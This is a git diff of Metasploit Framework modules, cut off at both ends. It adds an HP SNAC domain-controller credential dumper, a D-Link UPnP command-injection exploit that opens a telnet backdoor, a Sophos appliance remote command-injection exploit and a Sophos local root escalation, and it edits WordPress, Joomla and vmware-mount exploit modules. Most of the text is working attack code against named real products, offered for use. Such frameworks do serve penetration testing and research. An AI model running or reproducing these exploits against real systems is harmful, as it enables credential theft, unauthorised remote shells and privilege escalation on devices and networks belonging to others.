@@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP ProCurve SNAC Domain Controller Credential Dumper', + 'Description' => %q{ + This module will extract Domain Controller credentials from vulnerable installations of HP + SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability + has been used to exploit remote file uploads. This vulnerability can be used to gather important + information handled by the vulnerable application, like plain text domain controller + credentials. This module has been tested successfully with HP SNAC included with ProCurve + Manager 4.0. + }, + 'References' => + [ + ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409'] + ], + 'Author' => + [ + 'rgod ', # Auth bypass discovered by + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + }, + 'DisclosureDate' => "Sep 09 2013" + )) + + register_options( + [ + Opt::RPORT(443) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def get_domain_info(session) + res = send_request_cgi({ + 'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet", + 'cookie' => session + }) + + if res and res.code == 200 and res.body =~ /domainName/ + return res.body + end + + return nil + end + + def get_session + res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" }) + session = nil + if res and res.code == 200 + session = res.get_cookies + end + + if session and not session.empty? + return session + end + + return nil + end + + def parse_domain_data(data) + results = [] + doc = REXML::Document.new(data) + + doc.elements.each("Controllers/Domain") do |domain| + dc_ip = domain.elements['domainControllerIP'].text + port = domain.elements['port'].text + service = domain.elements['connType'].text + user = domain.elements['userName'].text + password = domain.elements['password'].text + results << [dc_ip, port, service, user, password] + end + + return results + end + + def run + + print_status("#{peer} - Get Domain Info") + session = get_session + + if session.nil? + print_error("#{peer} - Failed to get a valid session, maybe the target isn't HP SNAC installation?") + return + end + + print_status("#{peer} - Exploiting Authentication Bypass to gather Domain Controller Info...") + domain_info = get_domain_info(session) + + if domain_info.nil? + print_error("#{peer} - Failed, maybe the target isn't vulnerable") + return + end + + print_status("#{peer} - Parsing data gathered...") + credentials = parse_domain_data(domain_info) + + if credentials.empty? + print_warning("#{peer} - Any Domain Controller has been found...") + return + end + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Domain Controllers Credentials', + 'Indent' => 1, + 'Columns' => ['Domain Controller', 'Username', 'Password'] + ) + + credentials.each do |record| + report_auth_info({ + :host => record[0], + :port => record[1], + :sname => record[2].downcase, + :user => record[3], + :pass => record[4], + :source_type => "vuln" + }) + cred_table << [record[0], record[3], record[4]] + end + + print_line + print_line(cred_table.to_s) + + end +end diff --git a/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb new file mode 100644 index 0000000000..4561e0835f --- /dev/null +++ b/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb @@ -0,0 +1,129 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Host Information Enumeration via NTLM Authentication', + 'Description' => %q{ + This module makes requests to resources on the target server in + an attempt to find resources which permit NTLM authentication. For + resources which permit NTLM authentication, a blank NTLM type 1 message + is sent to enumerate a a type 2 message from the target server. The type + 2 message is then parsed for information such as the Active Directory + domain and NetBIOS name. + }, + 'Author' => 'Brandon Knight', + 'License' => MSF_LICENSE + ) + register_options( + [ + OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + File.open(datastore['TARGETURIS'], 'rb').each_line do |line| + test_uri = line.chomp + test_path = normalize_uri(test_uri) + result = check_url(test_path) + if result + message = "Enumerated info on #{peer}#{test_path} - " + message << "(name:#{result[:nb_name]}) " + message << "(domain:#{result[:nb_domain]}) " + message << "(domain_fqdn:#{result[:dns_domain]}) " + message << "(server_fqdn:#{result[:dns_server]})" + print_good(message) + report_note( + :host => ip, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :ntype => 'ntlm.enumeration.info', + :data => { + :uri=>test_path, + :SMBName => result[:nb_name], + :SMBDomain => result[:nb_domain], + :FQDNDomain => result[:dns_domain], + :FQDNName => result[:dns_server] + }, + :update => :unique_data + ) + return + end + end + end + + def check_url(test_uri) + begin + + vprint_status("Checking #{peer} URL #{test_uri}") + res = send_request_cgi({ + 'encode' => true, + 'uri' => "#{test_uri}", + 'method' => 'GET', + 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="} + }) + + return if res.nil? + + vprint_status("Status: #{res.code}") + if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + #Parse out the NTLM and just get the Target Information Data + target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value() + # Retrieve Domain name subblock info + nb_domain = parse_ntlm_info(target, "\x02\x00", 0) + # Retrieve Server name subblock info + nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset]) + # Retrieve DNS domain name subblock info + dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset]) + # Retrieve DNS server name subblock info + dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset]) + + return { + :nb_name => nb_name[:message], + :nb_domain => nb_domain[:message], + :dns_domain => dns_domain[:message], + :dns_server => dns_server[:message] + } + end + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + + end + + def parse_ntlm_info(message,pattern,offset) + name_index = message.index(pattern,offset) + offset = name_index.to_i + size = message[offset+2].unpack('C').first + return { + :message=>message[offset+3,size].gsub(/\0/,''), + :new_offset => offset + size + } + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index d39b21f8ff..7b2fb501d7 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -218,6 +218,12 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 301) uri = URI(res.headers['Location']) + if uri.path =~ /\/author\/([[:print:]]+)\// + username = $1 + print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}" + usernames << username + next + end uri = "#{uri.path}?#{uri.query}" res = send_request_cgi({ 'method' => 'GET', @@ -245,4 +251,4 @@ class Metasploit3 < Msf::Auxiliary return usernames end -end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb index e37300da7f..99e4f6aabf 100644 --- a/modules/auxiliary/scanner/rservices/rlogin_login.rb +++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb @@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") # Not successful yet, maybe we got a password prompt. - if password_prompt? + if password_prompt?(user) send_pass(pass) # Allow for slow echos diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index a339ee099e..5161fbd88a 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary :proto => 'tcp', :port => rport, :type => 'smb.shares', - :data => { :shares => shares.inspect }, + :data => { :shares => shares }, :update => :unique_data ) diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index c928228a0b..1822edd241 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - if password_prompt? + if password_prompt?(user) send_pass(pass) # Allow for slow echos diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 5ef40d5c6b..cf826933f4 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -138,29 +138,23 @@ class Metasploit3 < Msf::Exploit::Remote #starting the telnetd gives no response request(cmd) - begin - print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - if sock.nil? - fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") - else - print_good("#{rhost}:#{rport} - Telnet session successfully established...") - end - - handler(sock) - rescue - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + if sock.nil? + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end - return + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) end def request(cmd) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 97a157bc45..fbbc7d2752 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer @@ -22,11 +22,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, two targets - are included, to start a telnetd service and establish a session over it, or deploy a - native mipsel payload. This module has been tested successfully on DIR-300, DIR-600, - DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, - more D-Link devices may affected. + output for the executed command when using the CMD target. Additionally, a target + to deploy a native mipsel payload, when wget is available on the target device, has + been added. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ @@ -56,12 +54,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'unix' } ], - [ 'Telnet', #all devices - default target - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed { 'Arch' => ARCH_MIPSLE, @@ -88,8 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote if target.name =~ /CMD/ exploit_cmd - elsif target.name =~ /Telnet/ - exploit_telnet else exploit_mips end @@ -114,58 +104,6 @@ class Metasploit3 < Msf::Exploit::Remote return end - def exploit_telnet - telnetport = rand(65535) - - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") - - cmd = "telnetd -p #{telnetport}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - - begin - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - - if sock - print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") - add_socket(sock) - else - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" - auth_info = { - :host => rhost, - :port => telnetport, - :sname => 'telnet', - :user => "", - :pass => "", - :source_type => "exploit", - :active => true - } - report_auth_info(auth_info) - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => nil, - 'PASSWORD' => nil - } - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) - rescue - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - return - end - def exploit_mips downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb new file mode 100644 index 0000000000..335d542b44 --- /dev/null +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -0,0 +1,187 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', + 'Description' => %q{ + Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, + DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices + may be affected. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'BID', '61005' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(49152) #port of UPnP SOAP webinterface + ], self.class) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end + + def exploit + @new_portmapping_descr = rand_text_alpha(8) + @new_external_port = rand(65535) + @new_internal_port = rand(65535) + telnetport = rand(65535) + + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + + cmd = "telnetd -p #{telnetport}" + type = "add" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + type = "delete" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) + end + + def request(cmd, type) + + uri = '/soap.cgi' + + data_cmd = "" + data_cmd << "" + data_cmd << "" + + if type == "add" + vprint_status("#{rhost}:#{rport} - adding portmapping") + + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + data_cmd << "" + data_cmd << "#{@new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{@new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{@new_internal_port}" + data_cmd << "" + else + #we should clean it up ... otherwise we are not able to exploit it multiple times + vprint_status("#{rhost}:#{rport} - deleting portmapping") + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" + + data_cmd << "" + data_cmd << "TCP#{@new_external_port}" + data_cmd << "" + end + + data_cmd << "" + data_cmd << "" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end + +end diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb new file mode 100644 index 0000000000..9c69b13243 --- /dev/null +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -0,0 +1,117 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution', + 'Description' => %q{ + This module exploits a command injection vulnerability on Sophos Web Protection Appliance + 3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable + from the web interface without authentication. This module has been tested successfully + on Sophos Virtual Web Appliance 3.7.0. + }, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-4983' ], + [ 'OSVDB', '97029' ], + [ 'BID', '62263'], + [ 'EDB', '28175'], + [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x27\x22\x5c", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid + } + }, + 'Targets' => + [ + [ 'Sophos Web Protection Appliance 3.7.0', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 06 2013' + )) + + register_options( + [ + Opt::RPORT(443) + ], + self.class + ) + + end + + def check + url = "http://www.#{rand_text_alpha(10 + rand(10))}.com" + domain = "http://#{rand_text_alpha(10 + rand(10))}.com" + res = send_exploit_query(url, domain) + + if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def exploit + print_status("#{rhost}:#{rport} - Executing payload...") + url = "http://www.#{rand_text_alpha(10 + rand(10))}.com" + domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}" + # very short timeout because the request may never return if we're + # sending a socket payload + send_exploit_query(url, domain, 0.01) + end + + def send_exploit_query(url, domain, timeout = 20) + user = rand_text_alpha(8 + rand(5)) + res = send_request_cgi({ + 'uri' => normalize_uri('end-user', 'index.php'), + 'method' => 'POST', + 'vars_get' => { + 'c' =>'blocked', + 'action' => 'continue' + }, + 'vars_post' => { + 'url' => "#{Rex::Text.encode_base64(url)}", + 'args_reason' => rand_text_alpha(15 + rand(5)), + 'filetype' => rand_text_alpha(15 + rand(5)), + 'user' => user, + 'user_encoded' => "#{Rex::Text.encode_base64(user)}", + 'domain' => domain, + 'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}" + } + }, timeout) + + return res + end + +end diff --git a/modules/exploits/linux/local/sophos_wpa_clear_keys.rb b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb new file mode 100644 index 0000000000..8970f4a08a --- /dev/null +++ b/modules/exploits/linux/local/sophos_wpa_clear_keys.rb @@ -0,0 +1,103 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/linux/priv' +require 'msf/core/exploit/exe' + + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation', + 'Description' => %q{ + This module abuses a command injection on the clear_keys.pl perl script, installed with the + Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root". + This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection + Appliance web ui, executed by the "spiderman" user. This module has been tested successfully + on Sophos Virtual Web Appliance 3.7.0. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Francisco Falcon', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' =>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]], + 'References' => + [ + [ 'CVE', '2013-4984' ], + [ 'OSVDB', '97028' ], + [ 'BID', '62265' ], + [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities'] + ], + 'DefaultOptions' => + { + "PrependFork" => true, + "PrependSetresuid" => true, + "PrependSetresgid" => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 06 2013' + } + )) + + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]), + ], self.class) + end + + def check + if file?(datastore["clear_keys"]) + return CheckCode::Detected + end + + return CheckCode::Unknown + end + + def exploit + print_status("Checking actual user...") + id = cmd_exec("id -un") + if id != "spiderman" + fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this") + end + + print_status("Checking for the vulnerable component...") + if check != CheckCode::Detected + fail_with(Failure::NoTarget, "The vulnerable component has not been found") + end + + print_status("Dropping the payload to #{datastore["WritableDir"]}") + exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf" + write_file(exe_file, generate_payload_exe) + + cmd_exec "chmod +x #{exe_file}" + + print_status("Running...") + begin + # rm the file after executing it to avoid getting multiple sessions + cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}" + ensure + cmd_exec "rm -f #{exe_file}" + end + end +end + diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 6356cc6be5..e22ce4570b 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -40,6 +40,7 @@ class Metasploit4 < Msf::Exploit::Local 'DefaultOptions' => { "PrependSetresuid" => true, "PrependSetresgid" => true, + "PrependFork" => true, }, 'Privileged' => true, 'DefaultTarget' => 0, @@ -53,8 +54,6 @@ class Metasploit4 < Msf::Exploit::Local 'DisclosureDate' => "Aug 22 2013" } )) - # Handled by ghetto hardcoding below. - deregister_options("PrependFork") end def check @@ -70,22 +69,7 @@ class Metasploit4 < Msf::Exploit::Local fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") end - # Ghetto PrependFork action which is apparently only implemented for - # Meterpreter. - # XXX Put this in a mixin somewhere - # if(fork()) exit(0); - # 6A02 push byte +0x2 - # 58 pop eax - # CD80 int 0x80 ; fork - # 85C0 test eax,eax - # 7406 jz 0xf - # 31C0 xor eax,eax - # B001 mov al,0x1 - # CD80 int 0x80 ; exit - exe = generate_payload_exe( - :code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded - ) - write_file("lsb_release", exe) + write_file("lsb_release", generate_payload_exe) cmd_exec("chmod +x lsb_release") cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 241ac9d49a..ef9d524fb2 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_PHP, 'Targets' => [ - [ 'Joomla 2.5.x <=2.5.13', {} ] + [ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Aug 01 2013", @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = get_upload_form - if res and res.code == 200 + if res and (res.code == 200 or res.code == 302) if res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Joomla Media Manager Found but authentication required") return Exploit::CheckCode::Detected @@ -124,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'option' => 'com_media', 'view' => 'images', - 'tmpl' => 'component', 'e_name' => 'jform_articletext', 'asset' => 'com_content', 'author' => '' @@ -182,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Checking Access to Media Component...") res = get_upload_form - if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ + if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Authentication required... Proceeding...") if @username.empty? or @password.empty? @@ -192,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Accessing the Login Form...") res = get_login_form - if res.nil? or res.code != 200 or res.body !~ /login/ + if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/ fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form") end parse_login_options(res.body) @@ -201,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote if not res or res.code != 303 fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") end - elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /
"MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", + 'Description' => %q{ + In IE8 standards mode, it's possible to cause a use-after-free condition by first + creating an illogical table tree, where a CPhraseElement comes after CTableRow, + with the final node being a sub table element. When the CPhraseElement's outer + content is reset by using either outerText or outerHTML through an event handler, + this triggers a free of its child element (in this case, a CAnchorElement, but + some other objects apply too), but a reference is still kept in function + SRunPointer::SpanQualifier. This function will then pass on the invalid reference + to the next functions, eventually used in mshtml!CElement::Doc when it's trying to + make a call to the object's SecurityContext virtual function at offset +0x70, which + results a crash. An attacker can take advantage of this by first creating an + CAnchorElement object, let it free, and then replace the freed memory with another + fake object. Successfully doing so may allow arbitrary code execution under the + context of the user. + + This bug is specific to Internet Explorer 8 only. It was originally discovered by + Jose Antonio Vazquez Gonzalez and reported to iDefense, but was discovered again + by Orange 